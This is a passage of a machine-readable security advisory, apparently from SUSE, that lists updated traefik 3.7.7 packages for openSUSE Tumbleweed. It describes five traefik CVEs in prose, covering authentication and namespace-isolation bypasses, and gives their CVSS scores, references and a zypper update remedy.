                  "name": "traefik-3.7.7-1.1.s390x",
                  "product_id": "traefik-3.7.7-1.1.s390x"
                }
              }
            ],
            "category": "architecture",
            "name": "s390x"
          },
          {
            "branches": [
              {
                "category": "product_version",
                "name": "traefik-3.7.7-1.1.x86_64",
                "product": {
                  "name": "traefik-3.7.7-1.1.x86_64",
                  "product_id": "traefik-3.7.7-1.1.x86_64"
                }
              }
            ],
            "category": "architecture",
            "name": "x86_64"
          },
          {
            "branches": [
              {
                "category": "product_name",
                "name": "openSUSE Tumbleweed",
                "product": {
                  "name": "openSUSE Tumbleweed",
                  "product_id": "openSUSE Tumbleweed",
                  "product_identification_helper": {
                    "cpe": "cpe:/o:opensuse:tumbleweed"
                  }
                }
              }
            ],
            "category": "product_family",
            "name": "SUSE Linux Enterprise"
          }
        ],
        "category": "vendor",
        "name": "SUSE"
      }
    ],
    "relationships": [
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "traefik-3.7.7-1.1.aarch64 as component of openSUSE Tumbleweed",
          "product_id": "openSUSE Tumbleweed:traefik-3.7.7-1.1.aarch64"
        },
        "product_reference": "traefik-3.7.7-1.1.aarch64",
        "relates_to_product_reference": "openSUSE Tumbleweed"
      },
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "traefik-3.7.7-1.1.ppc64le as component of openSUSE Tumbleweed",
          "product_id": "openSUSE Tumbleweed:traefik-3.7.7-1.1.ppc64le"
        },
        "product_reference": "traefik-3.7.7-1.1.ppc64le",
        "relates_to_product_reference": "openSUSE Tumbleweed"
      },
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "traefik-3.7.7-1.1.s390x as component of openSUSE Tumbleweed",
          "product_id": "openSUSE Tumbleweed:traefik-3.7.7-1.1.s390x"
        },
        "product_reference": "traefik-3.7.7-1.1.s390x",
        "relates_to_product_reference": "openSUSE Tumbleweed"
      },
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "traefik-3.7.7-1.1.x86_64 as component of openSUSE Tumbleweed",
          "product_id": "openSUSE Tumbleweed:traefik-3.7.7-1.1.x86_64"
        },
        "product_reference": "traefik-3.7.7-1.1.x86_64",
        "relates_to_product_reference": "openSUSE Tumbleweed"
      }
    ]
  },
  "vulnerabilities": [
    {
      "cve": "CVE-2026-54761",
      "ids": [
        {
          "system_name": "SUSE CVE Page",
          "text": "https://www.suse.com/security/cve/CVE-2026-54761"
        }
      ],
      "notes": [
        {
          "category": "general",
          "text": "Traefik is an HTTP reverse proxy and load balancer. Prior to 3.6.21 and 3.7.5, there is a high severity vulnerability in Traefik\u0027s Kubernetes Gateway provider affecting the crossProviderNamespaces allowlist. For HTTPRoute rules that declare multiple (WRR) backendRefs, Traefik evaluates the allowlist against the target backendRef.namespace instead of the route\u0027s own namespace. As a result, an HTTPRoute created in a namespace that is not allow-listed can reference a cross-provider TraefikService such as api@internal, dashboard@internal or rest@internal by pointing backendRef.namespace at an allow-listed namespace covered by a Gateway API ReferenceGrant, exposing internal Traefik services on the data plane. Exploitation requires the ability to create an accepted HTTPRoute and a matching ReferenceGrant from an allow-listed namespace; it does not require any change to Traefik static configuration, RBAC, or the deployment itself. This vulnerability is fixed in 3.6.21 and 3.7.5.",
          "title": "CVE description"
        }
      ],
      "product_status": {
        "recommended": [
          "openSUSE Tumbleweed:traefik-3.7.7-1.1.aarch64",
          "openSUSE Tumbleweed:traefik-3.7.7-1.1.ppc64le",
          "openSUSE Tumbleweed:traefik-3.7.7-1.1.s390x",
          "openSUSE Tumbleweed:traefik-3.7.7-1.1.x86_64"
        ]
      },
      "references": [
        {
          "category": "external",
          "summary": "CVE-2026-54761",
          "url": "https://www.suse.com/security/cve/CVE-2026-54761"
        },
        {
          "category": "external",
          "summary": "SUSE Bug 1268523 for CVE-2026-54761",
          "url": "https://bugzilla.suse.com/1268523"
        }
      ],
      "remediations": [
        {
          "category": "vendor_fix",
          "details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
          "product_ids": [
            "openSUSE Tumbleweed:traefik-3.7.7-1.1.aarch64",
            "openSUSE Tumbleweed:traefik-3.7.7-1.1.ppc64le",
            "openSUSE Tumbleweed:traefik-3.7.7-1.1.s390x",
            "openSUSE Tumbleweed:traefik-3.7.7-1.1.x86_64"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 7.1,
            "baseSeverity": "HIGH",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N",
            "version": "3.1"
          },
          "products": [
            "openSUSE Tumbleweed:traefik-3.7.7-1.1.aarch64",
            "openSUSE Tumbleweed:traefik-3.7.7-1.1.ppc64le",
            "openSUSE Tumbleweed:traefik-3.7.7-1.1.s390x",
            "openSUSE Tumbleweed:traefik-3.7.7-1.1.x86_64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "date": "2026-07-10T00:00:00Z",
          "details": "important"
        }
      ],
      "title": "CVE-2026-54761"
    },
    {
      "cve": "CVE-2026-54762",
      "ids": [
        {
          "system_name": "SUSE CVE Page",
          "text": "https://www.suse.com/security/cve/CVE-2026-54762"
        }
      ],
      "notes": [
        {
          "category": "general",
          "text": "Traefik is an HTTP reverse proxy and load balancer. From 3.7.0-ea.1 until 3.7.5, there is a medium severity vulnerability in Traefik\u0027s Kubernetes Ingress NGINX provider that causes affected routes to fail open. When an Ingress explicitly enables BasicAuth or DigestAuth through the supported nginx.ingress.kubernetes.io/auth-type and auth-secret annotations, but the referenced auth Secret cannot be resolved or parsed, Traefik logs the resolution error, skips installing the authentication middleware, and still emits a router to the backend service. A route that operators intended to protect is therefore published to the data plane without its authentication control, allowing unauthenticated access to the backend. The trigger is an invalid or unresolved auth dependency - a missing, malformed, unreadable, or policy-denied Secret - rather than an intentionally unprotected route. This vulnerability is fixed in 3.7.5.",
          "title": "CVE description"
        }
      ],
      "product_status": {
        "recommended": [
          "openSUSE Tumbleweed:traefik-3.7.7-1.1.aarch64",
          "openSUSE Tumbleweed:traefik-3.7.7-1.1.ppc64le",
          "openSUSE Tumbleweed:traefik-3.7.7-1.1.s390x",
          "openSUSE Tumbleweed:traefik-3.7.7-1.1.x86_64"
        ]
      },
      "references": [
        {
          "category": "external",
          "summary": "CVE-2026-54762",
          "url": "https://www.suse.com/security/cve/CVE-2026-54762"
        },
        {
          "category": "external",
          "summary": "SUSE Bug 1268765 for CVE-2026-54762",
          "url": "https://bugzilla.suse.com/1268765"
        }
      ],
      "remediations": [
        {
          "category": "vendor_fix",
          "details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
          "product_ids": [
            "openSUSE Tumbleweed:traefik-3.7.7-1.1.aarch64",
            "openSUSE Tumbleweed:traefik-3.7.7-1.1.ppc64le",
            "openSUSE Tumbleweed:traefik-3.7.7-1.1.s390x",
            "openSUSE Tumbleweed:traefik-3.7.7-1.1.x86_64"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 8.6,
            "baseSeverity": "HIGH",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
            "version": "3.1"
          },
          "products": [
            "openSUSE Tumbleweed:traefik-3.7.7-1.1.aarch64",
            "openSUSE Tumbleweed:traefik-3.7.7-1.1.ppc64le",
            "openSUSE Tumbleweed:traefik-3.7.7-1.1.s390x",
            "openSUSE Tumbleweed:traefik-3.7.7-1.1.x86_64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "date": "2026-07-10T00:00:00Z",
          "details": "important"
        }
      ],
      "title": "CVE-2026-54762"
    },
    {
      "cve": "CVE-2026-54763",
      "ids": [
        {
          "system_name": "SUSE CVE Page",
          "text": "https://www.suse.com/security/cve/CVE-2026-54763"
        }
      ],
      "notes": [
        {
          "category": "general",
          "text": "Traefik is an HTTP reverse proxy and load balancer. Prior to v2.11.51, v3.6.22, and v3.7.6, Traefik\u0027s BasicAuth, DigestAuth, and ForwardAuth middlewares strip canonical-cased spoofed identity headers before writing Traefik\u0027s own value, but do not account for underscore-variant header names, which many backends normalize identically to dashed forms. An attacker able to reach a protected route can inject an underscore-variant header that survives Traefik\u0027s stripping and reaches the backend alongside, or on the unauthenticated ForwardAuth authResponseHeaders path instead of, the value Traefik intended to set, spoofing identity or authorization context. This issue is fixed in versions v2.11.51, v3.6.22, and v3.7.6.",
          "title": "CVE description"
        }
      ],
      "product_status": {
        "recommended": [
          "openSUSE Tumbleweed:traefik-3.7.7-1.1.aarch64",
          "openSUSE Tumbleweed:traefik-3.7.7-1.1.ppc64le",
          "openSUSE Tumbleweed:traefik-3.7.7-1.1.s390x",
          "openSUSE Tumbleweed:traefik-3.7.7-1.1.x86_64"
        ]
      },
      "references": [
        {
          "category": "external",
          "summary": "CVE-2026-54763",
          "url": "https://www.suse.com/security/cve/CVE-2026-54763"
        },
        {
          "category": "external",
          "summary": "SUSE Bug 1270430 for CVE-2026-54763",
          "url": "https://bugzilla.suse.com/1270430"
        }
      ],
      "remediations": [
        {
          "category": "vendor_fix",
          "details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
          "product_ids": [
            "openSUSE Tumbleweed:traefik-3.7.7-1.1.aarch64",
            "openSUSE Tumbleweed:traefik-3.7.7-1.1.ppc64le",
            "openSUSE Tumbleweed:traefik-3.7.7-1.1.s390x",
            "openSUSE Tumbleweed:traefik-3.7.7-1.1.x86_64"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
            "version": "3.1"
          },
          "products": [
            "openSUSE Tumbleweed:traefik-3.7.7-1.1.aarch64",
            "openSUSE Tumbleweed:traefik-3.7.7-1.1.ppc64le",
            "openSUSE Tumbleweed:traefik-3.7.7-1.1.s390x",
            "openSUSE Tumbleweed:traefik-3.7.7-1.1.x86_64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "date": "2026-07-10T00:00:00Z",
          "details": "important"
        }
      ],
      "title": "CVE-2026-54763"
    },
    {
      "cve": "CVE-2026-54764",
      "ids": [
        {
          "system_name": "SUSE CVE Page",
          "text": "https://www.suse.com/security/cve/CVE-2026-54764"
        }
      ],
      "notes": [
        {
          "category": "general",
          "text": "Traefik is an HTTP reverse proxy and load balancer. Prior to v2.11.51, v3.6.22, and v3.7.6, Traefik\u0027s ForwardAuth middleware, even when configured with trustForwardHeader: false, derives the X-Forwarded-Port header sent to the authentication service from the original incoming request instead of the sanitized forwarded request. As a result, an unauthenticated remote attacker can inject an X-Forwarded-Proto: https header over a plain HTTP connection and cause Traefik to forward X-Forwarded-Port: 443 to the authentication service, bypassing port-based authorization checks. This issue is fixed in versions v2.11.51, v3.6.22, and v3.7.6.",
          "title": "CVE description"
        }
      ],
      "product_status": {
        "recommended": [
          "openSUSE Tumbleweed:traefik-3.7.7-1.1.aarch64",
          "openSUSE Tumbleweed:traefik-3.7.7-1.1.ppc64le",
          "openSUSE Tumbleweed:traefik-3.7.7-1.1.s390x",
          "openSUSE Tumbleweed:traefik-3.7.7-1.1.x86_64"
        ]
      },
      "references": [
        {
          "category": "external",
          "summary": "CVE-2026-54764",
          "url": "https://www.suse.com/security/cve/CVE-2026-54764"
        },
        {
          "category": "external",
          "summary": "SUSE Bug 1270432 for CVE-2026-54764",
          "url": "https://bugzilla.suse.com/1270432"
        }
      ],
      "remediations": [
        {
          "category": "vendor_fix",
          "details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
          "product_ids": [
            "openSUSE Tumbleweed:traefik-3.7.7-1.1.aarch64",
            "openSUSE Tumbleweed:traefik-3.7.7-1.1.ppc64le",
            "openSUSE Tumbleweed:traefik-3.7.7-1.1.s390x",
            "openSUSE Tumbleweed:traefik-3.7.7-1.1.x86_64"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.3,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
            "version": "3.1"
          },
          "products": [
            "openSUSE Tumbleweed:traefik-3.7.7-1.1.aarch64",
            "openSUSE Tumbleweed:traefik-3.7.7-1.1.ppc64le",
            "openSUSE Tumbleweed:traefik-3.7.7-1.1.s390x",
            "openSUSE Tumbleweed:traefik-3.7.7-1.1.x86_64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "date": "2026-07-10T00:00:00Z",
          "details": "moderate"
        }
      ],
      "title": "CVE-2026-54764"
    },
    {
      "cve": "CVE-2026-54765",
      "ids": [
        {
          "system_name": "SUSE CVE Page",
          "text": "https://www.suse.com/security/cve/CVE-2026-54765"
        }
      ],
      "notes": [
        {
          "category": "general",
          "text": "Traefik is an open source HTTP reverse proxy and load balancer. From v3.7.0 prior to v3.7.6, Traefik\u0027s Kubernetes Gateway API provider may resolve two accepted HTTPRoutes that target the same backend Service:port but configure different backendRef filters to the same child service and apply only one route\u0027s filter set to all requests reaching that backend. In Gateway deployments where backendRef filters set security-sensitive headers, such as tenant identity, authorization context, or values the backend trusts, an attacker who can create an accepted HTTPRoute sharing the same backend Service:port may cause their route\u0027s filter context to be applied to another route\u0027s requests, potentially crossing namespace boundaries when a ReferenceGrant permits cross-namespace targeting. This issue is fixed in version v3.7.6.",
          "title": "CVE description"
        }
      ],
      "product_status": {
        "recommended": [
          "openSUSE Tumbleweed:traefik-3.7.7-1.1.aarch64",
          "openSUSE Tumbleweed:traefik-3.7.7-1.1.ppc64le",
          "openSUSE Tumbleweed:traefik-3.7.7-1.1.s390x",
          "openSUSE Tumbleweed:traefik-3.7.7-1.1.x86_64"
        ]
      },
      "references": [
        {
          "category": "external",
          "summary": "CVE-2026-54765",
          "url": "https://www.suse.com/security/cve/CVE-2026-54765"
        }
      ],
      "remediations": [
        {
          "category": "vendor_fix",
          "details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
          "product_ids": [
            "openSUSE Tumbleweed:traefik-3.7.7-1.1.aarch64",
            "openSUSE Tumbleweed:traefik-3.7.7-1.1.ppc64le",
            "openSUSE Tumbleweed:traefik-3.7.7-1.1.s390x",
            "openSUSE Tumbleweed:traefik-3.7.7-1.1.x86_64"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 8.5,
            "baseSeverity": "HIGH",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:N",
            "version": "3.1"
          },
          "products": [
            "openSUSE Tumbleweed:traefik-3.7.7-1.1.aarch64",
            "openSUSE Tumbleweed:traefik-3.7.7-1.1.ppc64le",
            "openSUSE Tumbleweed:traefik-3.7.7-1.1.s390x",
            "openSUSE Tumbleweed:traefik-3.7.7-1.1.x86_64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "date": "2026-07-10T00:00:00Z",
          "details": "important"
        }
      ],
      "title": "CVE-2026-54765"
    }
  ]
}